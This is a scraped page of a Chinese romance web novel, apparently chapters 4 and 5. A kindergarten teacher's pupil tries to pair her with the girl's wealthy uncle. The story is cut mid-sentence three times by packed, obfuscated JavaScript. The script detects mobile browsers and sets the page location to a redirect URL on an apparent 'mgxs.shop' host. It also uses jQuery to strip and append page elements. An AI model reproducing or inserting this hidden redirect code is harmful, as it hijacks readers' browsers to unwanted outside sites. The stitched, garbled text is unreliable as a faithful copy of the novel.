0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310801|198832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿姨的手往前走出一段距离后,又跑回江萄跟前,乖巧征求:“葡萄老师,我明天还可以来看四喜吗?” 江萄清浅微笑,没说好也没说不好,只是对上那双一闪一闪的小鹿眼后,最后轻轻点头。裴小可瞬间蹦起来说了句好耶,跑跑跳跳离开。 人刚从视野里消失,阮淑拽住江萄问情况,她头疼解释一番,顺带接住亲妈斜来一个戏谑的眼神。 “你可长点心吧,就不怕人家家长转过头上幼儿园告你的状?” 江萄用脚撇开凑上来的狗脑袋,说:“我让她给家长打过电话了,同意了才带她过来的。” “那就好。”阮淑说。 江萄唔一声,接过店员切来的果盘,吃了两瓣金桔润嗓子后,说:“对了妈,你明天拿个小板凳出来吧,那小孩明天还来看狗。” 不只是次日,连着好几天,裴小可和住家阿姨在幼儿园门口的树下等她下班,而后一起去看江四喜。 不仅如此,裴小可还特意带上礼物,献宝似地从自己的粉红色小背包里掏出狗狗磨牙棒、狗狗玩具、进口罐头、分装的进口狗粮,可把江四喜高兴得天地不知为何物。 狗狗物品一样比一样贵重,江萄一个头两个大,勒令裴小可不准再给狗狗送东西,不然就不允许看狗。 也许她的家长这次同意自家小朋友给狗狗买东西,但谁知道会不会秋后算账,类似的情况可没少在幼儿园里发现过。再者,现在正是树立三观的阶段,可得正确引导。 不过,不知是不是前两天的礼物刷满了江四喜的好感度,一豆丁一狗的友谊突飞猛进。 每天一到时间点,江四喜就在水果店门口翘首以盼,小小的身影出现,它就兴奋地用短腿支撑圆滚滚的身子弹来弹去。 高兴的不只是狗,裴小可也很开心。她从没觉得上幼儿园的时光这么短暂,一下子让她忘记到处流浪的麻麻还有出差的小舅舅。 今天她有点闷闷不乐,连新结交的好朋友拿玩具来和她一起玩耍,也提不起太高的兴致。明天就是周末,不用上幼儿园,她要两天都见不到江四喜。 裴小可鼓起腮帮子吹动做好的手工纸风车,五彩风车呼呼转动两圈后,郁郁地问坐在旁边的人:“你说,这世界上有没有什么魔法,可以让一样东西和另一样东西永远在一起?” “结婚呀。” 裴小可看向好朋友,歪了歪脑袋皱起眉头,不解问:“结婚?” “对呀。我明天要去给我小姨当花童,我妈妈说,小姨和小姨夫结婚以后就是一家人了,一家人就能永远在一起了。” “真的吗?”裴小可问,“结婚就能成为一家人了吗?就能永远在一起了吗?” “当然啦,我妈妈从来不骗我。” 裴小可滴溜溜转动眼珠子,移视教室角落里忙碌的身影,若有所思。 后脑勺陡然有嗖嗖凉意传递而来,明明是不冷不热很舒服的四月天,可有那么一瞬间,江萄感觉自己被扔进数九寒冬里。 这种莫名其妙的感觉,持续至幼儿园放学后才散去。但在幼儿园门口那棵树下见到裴小可后,透心凉的感觉卷土重来。 怪了。 江萄抬手覆盖后颈,来回摩挲好几下,将后颈的皮肤搓热。 手臂刚垂放身侧,一只又软又暖呼的手握住她的食指。裴小可依旧甜甜叫她葡萄老师,问她可不可以去看狗。 快走到水果店门口,不远处的江四喜已经按耐不住激动的心颤抖的狗耳朵,迫不及待想继续玩鸡哔你的新游戏。 平时一见到狗,圆溜溜杏眼漾满粼粼波光的小豆丁一反常态,没立马松开,反而小手越收越紧。 裴小可往下拉了拉江萄的手:“葡萄老师。” “怎么了?”江萄反问她,“今天不想和四喜玩了?” “想。我想和四喜一直在一起玩耍。”裴小可记起好朋友的提议,想出一个好办法。 眼见小孩垫起脚尖,江萄意会矮了身子,只听见一道软软糯糯泡过甜牛奶的声音在耳畔响起—— “葡萄老师,你可以娶我的小舅舅吗?” 4. 第 4 章 江萄身子微晃,差点膝盖发软踉跄倒地。她面上呵呵呵笑着,嘴角挤出一个笑不似笑的笑容,快速掩盖差点被雷翻的怪异表情。 裴小可扔下威慑力堪比炸池塘的鱼雷鞭炮的话后,一脸天真无邪仰脑袋望她,眼里满是藏不住的期待之情,暗示她快些答应。 不对,不应该用暗示来形容,而是亮晃晃镀了高瓦数光线的明示。 江萄当然不能把童言童语当真,也没办法和一个念中班的小孩子较劲,总不能跟一个孩子高谈阔论学前教育、儿童心理学。 刚进幼儿园那会儿,她还能斗志昂扬,试图接住小朋友们的情绪,再加以引导,实习期一过,快速进阶成老油条。只需要兢兢业业完成教学任务,伺候好这群小公主小少爷足矣。横竖别的心思再怎么扑腾,也溅不起半点水花。 虽说大部分行为的发生总有其根源,可她不太想占用个人时间,去深究裴小可这句没头没尾让她娶小舅舅背后的思维逻辑和其真实诉求。 当幼师这两年,没少见识这群小孩胡说八道的本事。继上个月班里的小朋友和家长哭着说老师在他裤子里拉臭后,离谱的瞎话在今天又新增一则。 江萄被哽住两秒,两边的嘴角只能继续上扬,露出可亲的微笑表情,在小豆丁的翘盼中,现编借口:“小可,老师可能没办法娶你的小舅舅了,老师有喜欢的人了。” 裴小可不懂葡萄老师为什么有喜欢的人就不能娶她小舅舅,小嘴不太开心地扁了扁,但半点没气馁,继续为自己的心愿努力:“葡萄老师,没关系,我小舅舅一定不会介意的。” 天真的童言童语比高分贝的噪音入耳更难缠,江萄飞快转动疲惫一天的大脑。 难道真让她这个万年母单和一个孩子解释什么是嫁娶?什么是恋爱?什么是两情相悦? 她自己都不明不白呢,老天,不如干脆扣工资吧! 没等想好平和安抚小朋友的措辞,小小人儿刘海晃了晃,眼睛比方才更亮。 裴小可使出浑身解数,试图让对面的人松口答应娶她小舅舅:“葡萄老师,你喜欢的人有钱吗?你可以和他分手吗?我妈妈说我小舅舅可有钱了,她还说,钱是万能的。葡萄老师,你要是娶了我小舅舅,就有可多可多钱了。” “……”江萄再次被哽住,左右脑互搏,一时之间找不出反驳的话。 钱这玩意,确实万能。 忽然想起过年和父母旅行时在雍和宫许下的愿。她许愿今年多赚点钱,为自己的烘焙事业添砖加瓦更上一层楼。 网上辣评雍和宫是调剂式许愿,泼天的富贵不会以不顾人死活的方式实现吧? 譬如:真实性存疑的迈巴赫男怒砸十万买走江四喜。 又譬如:班上的小豆丁企图给她介绍有钱小舅舅。 这两者乍一看都是馅饼,仔细一瞅,好么,陷阱。 江萄偷偷掐一巴掌心的软肉,让乱飞的思绪回笼,温声说:“小可,老师呢——” “呀,四喜!” “汪汪汪!” 清脆的嬉笑声和狗叫声打断对话。江四喜许是等待太久,忍不住开启自动寻路模式,找上自己的新玩伴。 小孩子到底是小孩子,注意力很快被转移。奇怪的对话不了了之,江萄猛松一口气。 一狗一小孩玩得开心,她还是免不了心里一阵打鼓,生怕裴小可又记起这件事,心惊胆战程度快赶上每周三次的各种会议。 约定好的玩耍时间一到,裴小可过来和江萄说再见,认真听嘱咐,乖乖和阿姨回家。 平日回到家里第一件事,就是洗干净小手,看两集动画片,等待阿姨给她端来晚餐。裴小可换好拖鞋,往洗手池走,边走边哼唱自己作词作曲的歌曲。 音调扬起,腾空,接着戛然而止。杏眼蓦地放大一圈,朝出现在客厅里的人飞扑而去,嘴里激动地喊:“小舅舅!你回来了!” 肉藕条短胳膊离笔挺合身的黑西裤还有半掌距离,裴乘舟温厚掌心罩住摇头晃脑的脑袋,隔开散发小鸡味的裴小可。 裴小可身后的住家阿姨眼底同样诧异,对出差回来的人倍感意外。她毕恭毕敬喊他一声裴先生,进厨房给裴小可准备晚餐。 白色墙壁上工业风十足的时钟,分秒不差指向七时整。裴乘舟收回视线,浅浅蹙眉。 在裴小可一声声的小舅舅中,快要不认识舅字为何物。裴乘舟揉了一把裴小可的细软齐耳短发,打发她进房间拆礼物,抬步往厨房走去。 哗啦啦洗菜声忽停。 “裴先生。” 裴乘舟眉目冷淡,声线平直:“幼儿园不是四点半放学吗?怎么这么晚才到家?如果我没记错的话,当时的聘用要求除了照顾小可的饮食起居之外,还有其他要求。” 逗留在外的行程,都要一一报备,他需要确保裴小可不能发生任何闪失。 “我以为小可的妈妈——”住家阿姨微微压低头,“裴先生抱歉,是我的失职,没有及时和您报备。” 小可的妈妈? 裴筝? 裴乘舟还未展平的眉头再次皱起,印下一道更深的纹路,“我出差这段时间,发生过什么事?” 住家阿姨赶忙将裴小可这一周每天放学都要和狗狗玩耍的事情经过一五一十阐述,边说,边小心翼翼看雇主的脸色。 裴乘舟听完,吐出一句“下不为例”后,转身离开厨房。经过客房临时改装而成的儿童房时,短暂掠过里头抱最新款芭比娃娃的身影,脚步未停,进入隔壁书房。 书房门合上的瞬间,指腹对着通讯录跳转出来的某个联系人,按下拨打键。 等待电话接通的空当,裴乘舟又隐隐开始头疼。看来裴小可对养狗这件事还没死心。 “有屁快放。” 电话不知响到第几声接通,冷不丁蹦出一句女声,语气不太和善,背景音有嘈杂的重金属音乐声。 裴乘舟没打算跟裴筝寒暄,维系比透明蝉翼还薄的姐弟情,直截了当问:“裴小可放学和他们班老师去看狗的事情,你怎么没和我说一声。” “啊?有这回事吗?”裴筝那头空拍几秒,嘈杂声安静下来,“哦,记起来了,可能忙过头忘记给你发消息了。” 裴乘舟扯动嘴角,在心里呵一声:“你确定是忙过头,不是睡过头?” 前两天艺术品拍卖会缺钱,消息来得倒是挺及时,还附赠夺命连环催。 对面囔了句什么,他没听清,大概率不是什么好话。没来得及再多说几句,裴筝被叫走。短暂的越洋电话,到此结束。 手机屏幕暗下,映出一张无语到想笑的平静脸庞。裴乘舟双指揉捏山根,觉得有必要给自己来一壶平心静气的败火茶。 他对住家阿姨口中的江老师没什么印象,倒是有个姓汪的老师联系过他好几次,想详聊裴小可在学校的情况。他因为出差事宜暂时无法脱身,看来下周不仅要去幼儿园和汪老师进行面谈,还有必要和江老师致以歉意。 椅背严丝合缝贴合背部肌肉曲线,裴乘舟整个人陷进转椅里,眼皮疲惫阖上,眼球轻滚,下一秒睁开,眼底恢复清明。 重新拿起倒扣在桌面的手机,点开进群第一天就开启屏蔽功能的幼儿园家长群。群里十余个家长,人不多,但你一句废话他一句闲扯,很轻易就让群消息攀升至99+。 刚戳开平平无奇,昵称备注江老师的纯白头像,有电话打入。西装革履装深沉的半身照头像,出现在手机界面中。 裴乘舟直接点开扬声,袁易的声音飘出:“晚上出来聚聚?法国酒庄新空运过来一批赤霞珠。” 他没忍住挑高眉头,回:“消息挺灵通。” 袁易闻言一顿乐,乐完了毫不客气嗤一声,“大哥,还消息灵通呢,我在机场碰上你了。好家伙,谱挺大,架一副黑墨镜,那两条腿迈得,还以为哪个超模在我跟前走T台。我喊了你半天,哪怕你回头给我一个眼神呢,我在那后头手舞足蹈,显得特像煞笔。” 只是像? 裴乘舟没什么心思回呛,沉默两秒自我检讨,真没听见有人喊他,“怎么没直接打电话。” 说起这事儿,袁易更无语,“打了好吗,但凡你先确认一眼未接通话,都说不出这么友尽的话。” “……?”裴乘舟将通话切换至后台,三通未接通话刺眼、明晃晃。 脑门冒出大问号,记忆短暂断片。 那会儿他做什么来着? 噢,记起来了。 他正用另一部手机和父母联系,询问确切的回国时间,却得到一个含糊不清的回答。他们说下个月就从亚马逊热带雨林启程回国。 父母口中的下个月,好比街边清仓甩货的店铺,喇叭里的最后一天最后一天,从年初喊到年末,期限时效永远是个未知数。 他才轻啧一声,袁易立马插话:“行了,什么也别说了,晚上见面先自罚三杯,拯救被你掀翻的友谊小船。” 裴乘舟没应下不着调的鸿门宴,视线凝在电脑屏幕推送的新邮件消息提醒,说:“再说吧,先友尽几天。挂了,晚上开会。”说完,没管袁易的嚷嚷声,径直挂断电话。 除了晚餐时间,裴乘舟一步没离开过书房。反倒是裴小可不停往他书房里倒腾玩具,简约的黑白色系书房被浅粉蓝紫打破色彩平衡。 本来,她还能安安静静窝在角落的地毯看书,裴乘舟也就随着她去。手里的绘本看完,她开始压低气声自言自语玩过家家,直到对着电话手表甜甜喊妈咪后,他抬眼,轻飘飘扫一眼跷二郎腿晃悠脚丫子的小孩。 书房体验卡正式被主人宣布进入倒计时。半分钟后,裴小可鼓着腮帮子,像只鼓起的河豚,气呼呼哼唧:讨厌小舅舅,小舅舅坏! 裴乘舟以长辈的身份,勒令她快去床上睡觉,没有任何商量的余地。 书房门合上,喟叹从唇边而出。 清净了。 闷掉马克杯中的美式咖啡,迅速投入工作中。 一个半小时的海外会议结束,裴乘舟很想不管不顾躺地毯上,放松僵直的脊背,松一松绷紧成弦的神经。 他从Q大商学院硕士毕业后,进入家里的餐饮公司,前两年正式从老裴同志手里接过交接棒,同时,开始着手布局海外市场版图的扩张。老裴看完他的企划书后,持相左意见,饼能吃,但吃多了吃急了容易噎嗓子。 里头的暗示昭然若揭,操之过急从来不是褒义词,饼就这么大,再不吃,舔渣吗? 他觉得,老裴无非守着一亩三分地太久,成了守旧派。办公室里悬挂的书法字从鹰击长空换成知足常乐、家和万事兴,就能看出端倪。 公司海外市场部门正式成立,老裴没拦他,也没表态。不知是想挫挫他的心性,还是当个观望者,看他能到拼到哪一个阶段。 项目从前期海外商标注册开始,就是一块硬骨头,随着进度的推进,又卡在ODI备案阶段。 即将并购的境外公司尽职调查中,存在不小的财务状况问题。解决方法无非重新寻求合作机会,或是新设一家境外公司,但无论怎么选,都意味着项目团队前期所付出的精力,兴许要付之一炬。 从财务概念上分析,时间成本不参与重大决策,优先重视未来收益,以目前的形势审视,进或退,皆是悬崖。 裴乘舟揉揉一突一突跳动的太阳穴,在书房里踱步。走到落了满地五颜六色玩具的地毯边,瞬间打消躺下的念头。 罢了,这回真的无法操之过急,暂且将注意力放在北城分店即将落地的事项上。 裴乘舟打开近乎紧闭一整晚的书房门,琢磨着上袁易那儿开一瓶又精又贵的酒解解愁。一抬眼,客厅灯火通明。 原本九点半就该去睡觉的裴小可,抱着自己的阿贝贝小兔子,眼睛快眯成一条缝,脑袋跟不倒翁似的,在沙发上七倒八歪,这边点完,朝反方向点。 候在边上的阿姨一脸左右为难,瞧见来人,迎上前,轻声道:“裴先生,小可说要等你出来才肯进房间睡觉。” 似乎听到说话的动静,裴小可努力瞪大眼缝,勉强从一条线张大成枣核状。她冲不远处的人张开双臂后,又打起瞌睡。 裴乘舟立着没动,住家阿姨望着裴小可忍着睡意而泛红的眼睛,于心不忍,冒着被辞退的风险,还是将想说的话说出口:“裴先生,也许我说的话可能逾矩了,我也没有资格干预你们的家事,可……小可她还只是一个孩子,这个年龄段最需要家人的陪伴。她在家的时候,除了完成您布置的绘本阅读之外,大部分时间都躲在自己房间的小帐篷里发呆,她也不让我陪着她,而且有时候会偷偷躲在被窝里哭。” 顿了顿,又道,“这一周,小可每天放学和江老师去看小狗后,我从没见她的笑容那么灿烂过,每天回到家能开心很久。” 话至此,裴乘舟微不可查拧了眉头。沙发上的人重重打呵欠,泪水从眼尾眼角往外冒,身子忽地一轻,被结实有力的胳膊单臂抱起。 放狠话说讨厌他的裴小可揉了揉眼睛,紧紧勾住后颈,带着浓浓的困意,噘嘴嘟囔:“小舅舅,你可以给我讲睡前故事吗?” 裴乘舟嘴上应好,斜觑她一眼,继续往儿童房走。还睡前故事呢,估计沾了枕头就能睡过去。 不过这回,他没琢磨对小孩姐的心。 裴小可双手乖乖搭在被沿,眼睛一眨一眨,没了方才困迷糊的睡意,反而炯炯有神,耐心等待。瞧见说好要给她讲故事的人一直没动,一副小大人模样开口道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310802|198832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“葡萄老师上课的时候和我们说过,不能做一个言而无信的孩子。” 葡萄老师? 谁? 裴乘舟从墙边的矮书架随机抽出一本书,席地而坐,随意靠在裴小可自己挑选的小兔子形状床头柜边,手指一捻,翻开书页,垂眼看纸上的内容,随口问:“你们班换老师了?” “没有呀,还是汪老师和葡萄老师。” 想起下午点开的纯白头像,他出言纠正:“你给老师叫劈了,人家是江老师。” “可是我叫她葡萄老师的时候,她应了呀,而且还对我笑眯眯的。” 裴乘舟皱着眉将适合一二岁小朋友看的《是谁嗯嗯在我的头上》绘本合上,换了本新的,回到原位,心想,江老师除了笑眯眯之外,还能对自己的学生露出什么表情? 裴小可翻了个身,嘿嘿笑两声:“葡萄老师笑起来可甜了。我觉得特别像妈咪带我去新疆流浪的时候吃过的葡萄,而且她的名字里有个萄字,所以我叫她葡萄老师。”忽然想起什么,眼珠子左右打转,她伸出两根手指头捏住裴乘舟的衣袖,“小舅舅,你还要去出差吗?” 裴乘舟微愣,停住了把衣袖上手指头拿开的动作,顿几秒后,软下语气:“姥姥姥爷回来之前,都不去出差了。” “好耶!”裴小可在床上打了个滚,又圆润地滚回来,“小舅舅,你以后可以去接我放学吗?” “有阿姨接你,我还要上班。” “可是……”裴小可慢慢放下笑容,不停眨巴眼睛,“只接一次也不行吗?我们班有个虎头虎脑的小胖墩可讨人厌了,他说从没见过我爸爸妈妈去接我……” 裴乘舟闭了闭眼,呼出气,后退一步:“下周一我去接你。” 裴小可眼睛瞬间亮起,开心得在心里转圈圈。平时除了动画片,妈咪不太让她看其他频道,说容易带坏小孩。她觉得妈咪说的不全是对的,看电视还是能学到一点有用的东西。 这一招叫卖惨。只要小舅舅去幼儿园接她放学,她就能把他介绍给葡萄老师咯~ 也许葡萄老师看到帅气的小舅舅,一下就同意娶她小舅舅了。只要葡萄老师和小舅舅结婚,就会成为一家人。这样一来,她就能一直和四喜一起玩耍了! “小舅舅,你是世界上最好的小舅舅。” 行吧,这会儿又是世界上最好的小舅舅了。裴乘舟觉得自己没有变身的特异功能可惜了,一会儿白切黑,一会儿黑切白的。裴小可嘴巴张了张,他连名带姓出声:“裴小可,还听不听睡前故事了?” “听!” “在很深很深的海底,有一座——” “我不想听小美人鱼的故事,太幼稚啦。而且我才不想像她那样,为了一个王子就放弃自己的双腿,我要闪闪发光地为自己而活,活出精彩的人生。” 一句话没念完,裴小可扬声,脆生生打断。 “……”裴乘舟从纸页移视到那张认真又凛然的小脸上,合上故事书,无语哼笑了声。还给自己上价值观了,也不知道哪里捡来的台词。他道,“多大点儿小孩啊,想得还挺多,放心吧,你这小短腿暂时选不上美人鱼。” “我才不是小孩。”裴小可正气反驳。 “睡觉前还要听睡前故事,不是小孩是什么?” “小舅舅晚安,明天见。”裴小可飞快道。 缩在被窝里的小孩紧紧闭眼睛,连嘴巴也在帮忙用力。他嘴角慢吞吞牵起,无声笑了笑。没等他从床边起身,已经响起细小的呼噜声。他停留儿童房门口片刻,放轻力道关门。 阿姨一直在客厅里,没回保姆间,瞧见裴乘舟出来,拘谨地蜷了蜷手指。他没多说什么,只是小幅度含了含下巴。踏上上二楼的台阶前,他落下抬起的脚,回身,“杨姨,周一早晨你送小可就行,下午放学我去接。” “哎,好。” 沉寂两天的幼儿园,在周一一早又迎来喧闹。比小朋友们先入园的,自然是牛马老师们。 踏进幼儿园大门后,江萄的眼皮一直在跳,心里不知为何有点发毛。 难不成最近过得太顺了? 俗话说得好,哪天生活过得比德芙巧克力还丝滑的时候,就该警惕是不是有什么大雷要踩了,又或者老天正憋着一坨大的要拉。 江萄用手里的包子热敷眼睛,劝慰自己放宽心,也不一定会碰上什么突发状况。除非班上有哪个小孩,拉她脑袋顶上,不然别的事儿都不是事儿。 整整一天,幼儿园里没有发生任何意料之外的事,若要说有什么不一样,幼儿园大门旁的那棵树下,没有出现小小的身影。 小孩子热情来得快,退却得也快,算算时间,裴小可对江四喜的好奇心应该是到头了。习惯了去往水果店路上雀儿般的叽叽喳喳,还真有点空落落的。 沿人行道走过幼儿园五彩围栏的拐角,远远就瞧见江四喜在cos长舌狗。江萄喊了声江四喜的名字,狗哒哒哒迎上来,快到她面前时,没停下,反而还一直朝前,停在拐角处。 江四喜愣愣对着前方空荡荡的人行道发呆,接着原地打转两圈,迈开短腿,跑回江萄身旁,冲她汪汪两声,转而又跑回拐角。 怪异行为重复几次后,江萄了然。她带江四喜回到狗窝边,拿来梳毛的梳子,在狗跟前蹲下,“小可可能已经回家了,没有和我一起过来。” 江四喜沮丧低低汪一声,又呜呜呜起来。 呜—— 小草莓—— 江萄拍它脑门让它适可而止,开始从油光铮亮的脑袋开始梳起,才梳到脖子,肚皮快被塞在卫衣口袋里的手机震麻。 她分心看群消息,没注意到梳子下的江四喜动了动狗头,开始小幅度蛄蛹。 肩头突然被轻轻点了点,耳边除了水果里客人结账的动静外,小孩声清脆响亮地喊: “葡萄老师,我来晚啦~” 江萄保持蹲下的姿势,倏地扭头,对上裴小可乖巧笑颜,眼里的狡黠一闪而过。没来得及细究,余光里,又闯入一双被深灰西裤包裹的大长腿。她下意识移动目光,那道软糯糯的声音继续说: “葡萄老师,这就是我的小舅舅。” 视线一路往上,定格。眸子漆黑,眉眼线条凌厉…… 这冷脸帅哥真眼熟。 不对,她见过。 迈……巴赫男?! 江萄登时暗自倒吸气,满脸愕然。 极短时间内,她暂时无法从豪掷十万买走江四喜的迈巴赫男竟是裴小可小舅舅的信息中脱身。 两个有过一面之缘的大人,一蹲一立,视线相撞的瞬间没撞出火花,却差点裴小可语出惊人的话撞出电闪雷鸣—— “小舅舅,你可以嫁给葡萄老师吗?” 5. 第 5 章 咯嘣—— 脑海里的弦断了,弹一脸,挺疼。 什么……玩意儿?! 他要嫁给谁?! 裴乘舟眼皮狠跳,面部表情隐隐有崩裂迹象,从葡萄老师竟然是那天路边狗主人的思绪中迅速回神,一把捂住裴小可的嘴巴。 “江老师,实在是抱歉。”裴乘舟选择放任手心被口水呼一掌心,也绝不让裴小可再多说一句话。 江萄眼皮跳动频率在此刻抵达峰值。 原来如此、原来如此。第六感是灵验的,惊天大雷在这里等着她! 口水呛住喉管,她不住咳嗽,无法完整说出一句话,只能不停摆手。 有杯水从一旁递来,结束这场乱哄哄的闹剧。 江萄顶着一大一小视线的洗礼,快速调整状态。她让工具狗上场,向另一个当事人示意借一步说话。 寻了个安静的角落,她抬眼看向对面西装革履的男人,“您是小可的…小舅舅?” “裴乘舟。”他抬起手臂,“江老师,幸会。” 观赏性十足的手掌,横在两人之间。江萄蓦地回想起那天窥到他手臂上的纹身,微不可查小幅度往后倾身子,不太想回握。 也许是先入为主的观点夺取大脑判断的主导地位。 第一印象:道上混的。 第二印象:骗子。 现在真实身份揭开,十分凶神恶煞不好惹的初印象被冲淡七八成,依旧剩下一个不好惹的标签。眉眼是没那么凌厉了,但冷啊,漫不经心一瞥,自带寒霜辐射。 出于对学生家长的顾虑,她还是伸出手。手指皮肤虚虚一贴,飞快收回,动作快到没染上任何热意。 收手的动作没有同频,裴乘舟的手兀自悬在半空,不经意扫过跟前的人一眼,垂放回身侧。 傍晚微风徐徐吹来,带起发丝,黏唇边的碎发旋即被勾走,一起一落的动作,简单随性的马尾跟着晃动。有几瓣粉花瓣打卷,落到乌黑发梢,很快被她拂落。 素净面庞与前段时间见面时没有差异,只是眼神移闪的频率变快,看起来莫名有些……闪躲和瑟缩? 正要开口,有人抢先一步。 江萄记起被自己遗忘的步骤——自我介绍。 她补充:“裴先生您好,我是小可他们班的副班老师,江萄。” “经常听小可提起你。”裴乘舟说。 这两天,裴小可嘴边一直挂记葡萄老师。昨日在玩具城给裴小可好朋友买生日礼物,他几乎快条件反射问出声,要不要给葡萄老师带一份,好在及时咽回嘴里。 今天他提早抵达幼儿园,与汪老师联系。面谈结束,正好放学。接上裴小可后,她却不肯回家。问想去哪儿,她说哪儿也不想去,想在车里静一静。他扶额闭眼,眼不见为净,需要静一静的人是他才对。 裴小可说静一静,还真安静呆着,除了将他带来的小糕点吃得掉一后座渣之外,没有任何捣乱的举动。 随她吧,他心想。只要别再拿什么没有爸爸妈妈来道德绑架就行。 花花三班排队放学出来的时候,他刻意留心眼,找出她口中提及的小胖墩。若有必要,及时与他家长沟通。 目不转睛将十来个人扫视好几遍,最后确定,根本没有什么小胖墩。小姑娘占班级人数三分之二,剩下的三五个小男生,符合幼儿标准身材,与胖根本不沾边。 他算是明白了,裴小可另有目的。倒要看看随了裴筝十成十性子的小孩,要折腾什么幺蛾子。 接近六点,后座窸窸窣窣响动。裴小可手指头点窗户,说想吃水果。他偏头远望对面由四间底铺并在一起的水果店。 与其说水果店,不如称之水果超市更贴切。如果没记错,宜城有好几家同样名字的水果店,都叫四季鲜果园。 下了车,裴小可急吼吼拽他往对面而去。 哪知,小孩哪里是去吃水果,专程折腾幺蛾子去了。说幺蛾子都是抬举了,简直是核弹头塞进二踢脚里。 BOOM—— 炸得人外焦里嫩。 裴小可闹出的动静,以超频姿态超出预料。小孩趁他出差的功夫,竟然给他说了一门亲?! 还念什么幼儿园,直接送去媒婆培训班拉倒。 裴乘舟挺想望一眼天,但有损仪容仪表。只能怀揣百分之百的歉意,处理烂摊子,“抱歉,江老师,刚才小可的话……” 眼前眉目冷峻的男人,压低眉峰,脸上冻人的冷意被削弱几分。他身上充满压迫感极强的气场,比一团熊熊烈火还旺,灼得皮肤烫。随着唇角浅浅上扬后,江萄终于感觉能顺畅呼吸。不敢把尴尬表现得太明显,只能不在意笑笑,“没关系,童言无忌嘛。裴先生您也别放在心上。” 不然呢?较真吗? 更多的其实是哭笑不得,裴小可对于让她娶小舅舅的执念挺深,周五刚在她这里卖力说完亲,今天还真拉来人给她见面。踌躇两秒,决定还是不要旧事重提为好。 “谢谢江老师见谅。”裴乘舟能听出里头的客套,既然对方先下台阶,他也不会不识趣再多提。万幸,江老师是一位善解人意的老师。有效沟通能免去不少麻烦。 事情解决一半,还剩另一部分。 目光放远,他望向水果店门口。裴小可蹲在狗的身边,偷偷往这边瞄,又唰地转头,假装和狗玩耍。他收回视线,重新落回江萄的面中,“小可这段时间给你添了不少麻烦。我这两天出差回来,也才了解到情况。” 江萄礼貌微笑,侧耳倾听。不管对面说什么,适时点头就对了。 “感谢江老师这段时间对小可的照顾。”他又道。 “没有没有,裴先生言重了。”江萄扭头看了眼不远处的小孩和狗,回过头时,不小心撞进男人眸色深沉的眼里,她反手摸了摸脸,目光往下挪了几寸避开,“其实,也谈不上什么麻不麻烦。小孩子嘛,玩心重了点,可以理解。小可她挺乖的,我家的狗也喜欢和她玩。刚才我下班回来,它没见到小可,都闹脾气了。” “没给江老师带来困扰就好。”裴乘舟说,“时间不早了,我先带小可回家。” “好,路上小心。”她道。 一大一小的身影刚离开,另一道身影悄无声息接近。 熟悉的香水气息扑鼻而来,想不知道来人是谁都难。细胳膊预料之中勒住脖颈,江萄顺势歪倒在身后人的肩头,一张抹了口红又叠加透明唇釉的红唇嘟起,朝她脸颊袭来。 江萄立马弹开,隔出半只胳膊的距离后,才问:“你怎么来店里了?” 施灿灿家的进口零食超市和她家的水果店相邻,也是如此,她才和施灿灿认识,变成朋友。只不过她平常不常来店里,哪怕商铺地址就在她们所居住的小区外。 “送我妈过来,我一琢磨吧,你快下班了,就多待了会儿。这不,看上热闹了。”施灿灿下巴扬了扬马路对面上了一辆黑色SUV的一大一小,“哎,那男的谁啊?” “就那个谁。” “到底哪个谁?” “迈巴赫。”江萄给出提示词。 “哦——啊?迈巴赫男?!”施灿灿惊掉下巴,“他又来找你买狗了?江四喜难不成有什么英国皇室血统,让他这么念念不忘?” “什么呀。”江萄乐了声,“他正好是我一个学生的小舅舅,你说巧不巧。” “噢?小舅舅?”施灿灿忽然坏笑,“江萄,你要不去试试当你学生的小舅妈?等那哥们儿下次再来,你和江四喜一起汪一声。”她伸手指向他们刚才交谈的那棵海棠树下。红了脸的云朵挂在枝丫上,粉白海棠繁花锦簇。她说道,“你看着这春天多美,一个多适合谈恋爱的季节。” 江萄鼻子一皱,起了鸡皮疙瘩。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310803|198832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在几分钟前,她还真就差一点“被”成为裴小可小舅妈。 她是有多想不开才和学生家长搅和在一起。真要谈恋爱,也是找她男神那种阳光清爽型的,而不是又冷又桀骜,一口下去,连骨头都不剩的恶狼。 没忍住,她又打了个寒颤。 瞧见身旁的人没接话,施灿灿支起胳膊肘,搡了搡,说:“好歹迈巴赫呢。”手握成拳后,张开,“格局要打开。” 不知道该说什么好,江萄挺无语,“……你是觉得人家有钱人没脑子是吗?” 施灿灿撇了撇嘴,不敢苟同,“我觉得有些暴发富就不怎么长脑子。” 她用余光窥探,施灿灿一脸吃了脏东西的憋屈,后知后觉反应过来,“阿姨让你去相亲了?” 施灿灿眼珠子往上翻,露出眼白,掸了掸肩头不存在的脏东西,嫌弃地啧了声:“昂,早上八点就催我出门。一个拆二代,他们家有块地皮拍出了一个小目标,介绍人快把那哥们儿夸得天上有地上无,到了一看,身高和体重一个码数。开口就让我给他生一个足球队,深井冰么不是。” 江萄弯眼笑个不停,以其人之道还治其人之身,“格局,打开。” 